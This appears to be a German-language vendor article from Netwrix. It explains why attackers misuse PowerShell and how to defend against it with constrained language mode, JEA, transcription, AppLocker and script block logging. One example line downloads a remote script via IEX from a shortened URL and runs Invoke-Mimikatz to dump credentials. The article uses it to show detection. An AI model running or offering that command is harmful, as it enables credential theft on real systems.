Magic Quadrant™ für Privileged Access Management 2025: Netwrix zum vierten Jahr in Folge anerkannt. Laden Sie den Bericht herunter.

Plattform
Glossar zur cybersicherheitAngriffskatalog
Warum ist PowerShell so beliebt bei Angreifern?

Warum ist PowerShell so beliebt bei Angreifern?

Es gibt ein altes Sprichwort: „Das Werkzeug der einen Person ist die Waffe einer anderen.“ Das trifft definitiv auf Windows PowerShell zu. In jedem heutigen Windows-Betriebssystem enthalten, wird diese leistungsstarke Befehlszeilenshell und Skriptsprache von IT-Profis für Systemadministration, Fernverwaltung, Cybersicherheit, Softwareentwicklung und mehr verwendet.

Auf der anderen Seite wird es von Bedrohungsakteuren genutzt, um ihnen bei der Ausführung bösartiger Taten wie Malware-Verbreitung, Ransomware-Einsatz und Datendiebstahl zu helfen. Dieser Artikel erklärt, warum PowerShell für Angreifer so nützlich ist und liefert wertvolle Strategien zur Verteidigung Ihrer IT-Umgebung.

Angriffskatalog:

Warum ist PowerShell eine so beliebte Angriffsplattform?

Warum nutzen so viele Cyberkriminelle PowerShell, um ihre Angriffe zu starten? Nun, zum einen ist es kostenlos. Weitere Gründe sind die folgenden:

  • Die meisten Geschäftsanwender haben PowerShell auf ihren Windows-Endgeräten aktiviert.
  • PowerShell verwendet einen dateilosen Ansatz, der Befehle und Skripte direkt im Speicher ausführt, was die Erkennung erschwert.
  • Es kann nahezu jedes Windows-Gerät durch Herstellen einer Fernverbindung erreichen.
  • Bedrohungsakteure können PowerShell zusammen mit anderen schädlichen Tools wie Empire, DeathStar und CrackMapExec nutzen.
  • Es gibt eine Vielzahl von Skripten auf GitHub und anderen Plattformen (wie Invoke-Mimikatz) für Angreifer zur Verwendung.

Sobald ein Angreifer in einer On-Prem-Umgebung erstmaligen Zugriff erlangt hat, kann er PowerShell verwenden, um Sichtbarkeit in Ihrem Netzwerk zu erlangen und sich seitlich zu bewegen, um auf Ihre sensibelsten Daten und andere IT-Ressourcen zuzugreifen.

Wie man das Risiko von PowerShell reduziert

Da PowerShell bei so vielen verschiedenen Arten von Angriffen verwendet wird, ist es unerlässlich, Schutzmaßnahmen zu implementieren, um deren böswillige Verwendung zu bekämpfen. Lassen Sie uns einige Möglichkeiten betrachten, um das Risiko von durch PowerShell verursachten Bedrohungen zu reduzieren.

Beschränken Sie lokale Admin-Rechte

In der Ära des Zero Trust-Netzwerks sollten Standardbenutzer keine lokalen Adminrechte auf ihren Geräten haben, es sei denn, es ist für ihre Arbeit erforderlich. Obwohl das Verweigern lokaler Adminrechte den Zugriff auf PowerShell nicht einschränkt, begrenzt es, was ein Benutzer — oder ein Gegner, der ihr Konto kompromittiert hat — mit PowerShell tun kann, da viele PowerShell-Befehle und -Skripte erhöhte Privilegien erfordern, um zu funktionieren. Darüber hinaus wird durch das Verweigern lokaler Adminrechte der Zugriff eines Benutzers auf sensible Ordner und Systemeinstellungen eingeschränkt.

Verwenden Sie den eingeschränkten Sprachmodus

Windows PowerShell unterstützt verschiedene Sprachmodi, die bestimmen, welche Teile von PowerShell verwendet werden können. Der eingeschränkte Sprachmodus wurde für das Betriebssystem Windows RT entwickelt und später zu Windows PowerShell V5 hinzugefügt, das heute auf allen modernen Windows-Betriebssystemen verwendet wird.

Sie können eine PowerShell-Sitzung im Vollsprachenmodus starten, wie unten gezeigt:

Image

Sie können eine PowerShell-Sitzung mit dem folgenden Befehl in den eingeschränkten Sprachmodus versetzen:

Image

Im eingeschränkten Sprachmodus ist PowerShell auf einen begrenzten Satz von Befehlen und Skripten beschränkt. Die Ausführung von Befehlen außerhalb dieser Einschränkungen wird blockiert, wie im folgenden Beispiel gezeigt:

Image

Der eingeschränkte Sprachmodus beschränkt auch den Zugriff auf bestimmte PowerShell-Funktionen, wie die Verwendung von PowerShell-Profilen und die Möglichkeit, zusätzliche PowerShell-Module zu laden. Insgesamt helfen diese Einschränkungen dabei, zu verhindern, dass Hacker PowerShell nutzen, um Systemsicherheitsmaßnahmen zu umgehen.

Leider gibt es eine offensichtliche Schwäche bei dieser Schutzmaßnahme: Ein Benutzer kann einfach eine neue PowerShell-Sitzung starten, die standardmäßig im Vollsprachenmodus läuft und vollen Zugriff auf die PowerShell-Funktionen hat.

Verwenden Sie PowerShell Just Enough Administration (JEA)

PowerShell Just Enough Administration ermöglicht es Ihnen, ein rollenbasiertes System für administrative Aufgaben durchzusetzen. Betrachten Sie JEA als das Prinzip der geringsten Berechtigung für die Sicherheit in PowerShell. Wenn ein Benutzer eine JEA-Sitzung beginnt, erhält er eine eingeschränkte Form von PowerShell, die es ihm nur erlaubt, die Aufgaben und Befehle auszuführen, die mit seiner Rolle verbunden sind. Dies verhindert, dass sie privilegierte Befehle ausführen, die sie nicht benötigen.

Das Aktivieren von JEA ist ein mehrstufiger Prozess. Der erste Schritt besteht darin, eine Rollenkompatibilitätsdatei zu erstellen, wie unten gezeigt:

Image

Sie müssen dann die .prsc-Datei bearbeiten und die spezifischen Fähigkeiten der Rolle definieren, wie zum Beispiel das Erlauben bestimmter Befehle, die vom Benutzer ausgeführt werden können. Weitere Schritte umfassen das Erstellen einer Sitzungskonfigurationsdatei und dann die Verwendung dieser Datei, um einen neuen JEA-Endpunkt auf dem lokalen Computer zu registrieren.

Gewinnen Sie Einblick in Aktivitäten

Sie müssen wissen, was in Ihrer IT-Umgebung passiert. Eine Möglichkeit ist die Verwendung von Windows-Ereignisweiterleitung (WEF), einem kostenlosen Tool im Windows-Betriebssystem, das Ereignisprotokolle von verteilten Systemen sammeln und zentralisieren kann. Ein Ansatz von Drittanbietern wäre eine Security Information and Event Management (SIEM)-Lösung. SIEMs können Daten aus einer breiten Sammlung verschiedener Systeme sammeln und diese Daten aggregieren, um einen umfassenden Einblick zu bieten, was in Ihrer Umgebung vor sich geht.

Sie sollten auch systemweite PowerShell-Transkripte aktivieren, die alle PowerShell-Aktivitäten auf den festgelegten Systemen protokollieren, sodass ausgeführte Befehle überprüft werden können. Dies kann für Audits und forensische Untersuchungen hilfreich sein. Um systemweite PowerShell-Transkripte zu aktivieren, erstellen Sie ein Group Policy object (GPO), navigieren Sie zu Computerkonfiguration > Administrative Vorlagen > Windows-Komponenten > PowerShell und aktivieren Sie Enable PowerShell Transcription wie unten gezeigt:

Image

Verwenden Sie AppLocker, um PowerShell und Skripte zu deaktivieren

AppLocker wird mit Windows 10 Enterprise geliefert und bietet eine nützliche Möglichkeit, Anwendungen und Skripte zu erlauben. Es kann entweder lokal auf einem System oder über Gruppenrichtlinien konfiguriert werden. Um Gruppenrichtlinien zu verwenden, erstellen Sie ein GPO, gehen Sie zu Computerkonfiguration > Windows-Einstellungen > Sicherheitseinstellungen > Anwendungssteuerungsrichtlinien > AppLocker. Erstellen Sie eine ausführbare Regel und wählen Sie Verweigern wie unten gezeigt:

Image

Sie können Anwendungen nach Herausgeber, Dateipfad oder Datei-Hash blockieren. Die untenstehende Beispielrichtlinie blockiert nach Datei-Hash und erlaubt nur lokalen Administratoren, PowerShell auszuführen; der Zugriff durch andere Benutzer wird blockiert.

Image

Sie können dann die Richtlinie mit Gruppenrichtlinien verteilen oder sie als XML-Datei exportieren und in ein MDM wie Intune importieren. Der XML-Code für die exportierte Richtlinie wird unten angezeigt:

      <AppLockerPolicy Version="1">

<RuleCollection Type="Exe" EnforcementMode="NotConfigured">

<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">

<Conditions>

<FilePathCondition Path="*" />

</Conditions>

</FilePathRule>

<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">

<Conditions>

<FileHashCondition>

<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />

</FileHashCondition>

</Conditions>

</FileHashRule>

</RuleCollection>

<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />

<RuleCollection Type="Script" EnforcementMode="NotConfigured" />

<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />

<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />

</AppLockerPolicy>
      

Sie können auch sicherstellen, dass nur Dateien aus einem bestimmten Ordner ausgeführt werden können, indem Sie Skriptregeln-Richtlinien verwenden, um eine Erlaubnisregel für einen spezifizierten Ordner mit einem einfachen PowerShell-Skript wie diesem zu erstellen:

Image

Erkennen Sie bösartige PowerShell mit Script Block Logging

PowerShell 5 führt mehrere neue Techniken ein, um bösartige PowerShell-Skripte zu verfolgen. Eine davon ist das Script Block Logging. Diese Protokollierungsebene ist standardmäßig bei PowerShell 5 aktiviert und bietet eine Klartextprotokollierung des vollständigen durch PowerShell ausgeführten Skripts. Dies ist nützlich, da viele PowerShell-Angriffe verschlüsselte Skripte verwenden, die schwer zu entziffern sind.

Schauen wir uns eine Methode an, wie ein Angreifer versuchen könnte, seine Skripte zu verstecken, indem er ein Skript wie das folgende verwendet, das herunterlädt und Invoke-Mimikatz ausführt:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

Image

Mit PowerSploit und Out-EncodedCommand kann ein Angreifer eine verschlüsselte Version dieses Befehls erstellen, die noch stärker verschleiert ist:

Image

Allerdings zeigen die PowerShell-Ereignisprotokolle immer noch genau an, was ausgeführt wurde, ohne jegliche Kodierung:

Image

Wie Netwrix helfen kann

Während Organisationen diese Minderungs- und Erkennungsstrategien nutzen können, um die Überwachung und den Schutz gegen bösartige Skripte zu gewährleisten, gibt es Drittanbieterprodukte, die die Arbeit vereinfachen. Netwrix Endpoint Privilege Manager erleichtert das Erstellen von Erlaubnis- und Sperrlisten, um automatisch zu verhindern, dass Benutzer unerwünschte Anwendungen ausführen, einschließlich PowerShell. Außerdem ermöglicht dieses Tool das Entfernen von lokalen Adminrechten, während Benutzer weiterhin die für hohe Produktivität erforderlichen administrativen Aufgaben ausführen können.

PowerShell ist ein mächtiges Werkzeug. Stellen Sie sicher, dass Sie angemessene Vorkehrungen treffen, damit Gegner es nicht so leicht gegen Sie verwenden können.

Teilen auf

Zugehörige Cybersecurity-Angriffe anzeigen

Missbrauch von Entra ID-Anwendungsberechtigungen – Funktionsweise und Verteidigungsstrategien

AdminSDHolder-Modifikation – Funktionsweise und Verteidigungsstrategien

AS-REP Roasting Attack - Funktionsweise und Verteidigungsstrategien

Hafnium-Angriff - Funktionsweise und Verteidigungsstrategien

DCSync-Angriffe erklärt: Bedrohung für die Active Directory Security

Pass-the-Hash-Angriff

Verständnis von Golden Ticket-Angriffen

Angriffe auf Group Managed Service Accounts

DCShadow-Angriff – Funktionsweise, Beispiele aus der Praxis & Verteidigungsstrategien

ChatGPT Prompt Injection: Risiken, Beispiele und Prävention verstehen

NTDS.dit-Passwortextraktionsangriff

Kerberoasting-Angriff – Funktionsweise und Verteidigungsstrategien

Pass-the-Ticket-Attacke erklärt: Risiken, Beispiele & Verteidigungsstrategien

Password-Spraying-Angriff

Angriff zur Extraktion von Klartext-Passwörtern

Zerologon-Schwachstelle erklärt: Risiken, Exploits und Milderung

Ransomware-Angriffe auf Active Directory

Active Directory mit dem Skeleton Key-Angriff entsperren

Laterale Bewegungen: Was es ist, wie es funktioniert und Präventionsmaßnahmen

Man-in-the-Middle (MITM)-Angriffe: Was sie sind & Wie man sie verhindert

Silver Ticket Attack

4 Angriffe auf Dienstkonten und wie man sich dagegen schützt

Wie Sie Malware-Angriffe daran hindern, Ihr Geschäft zu beeinträchtigen

Was ist Credential Stuffing?

Kompromittierung von SQL Server mit PowerUpSQL

Was sind Mousejacking-Angriffe und wie kann man sich dagegen verteidigen

Diebstahl von Anmeldeinformationen mit einem Security Support Provider (SSP)

Rainbow-Table-Attacken: Wie sie funktionieren und wie man sich dagegen verteidigt

Ein umfassender Blick auf Passwortangriffe und wie man sie stoppt

LDAP-Aufklärung

Umgehen der MFA mit dem Pass-the-Cookie-Angriff

Golden SAML-Angriff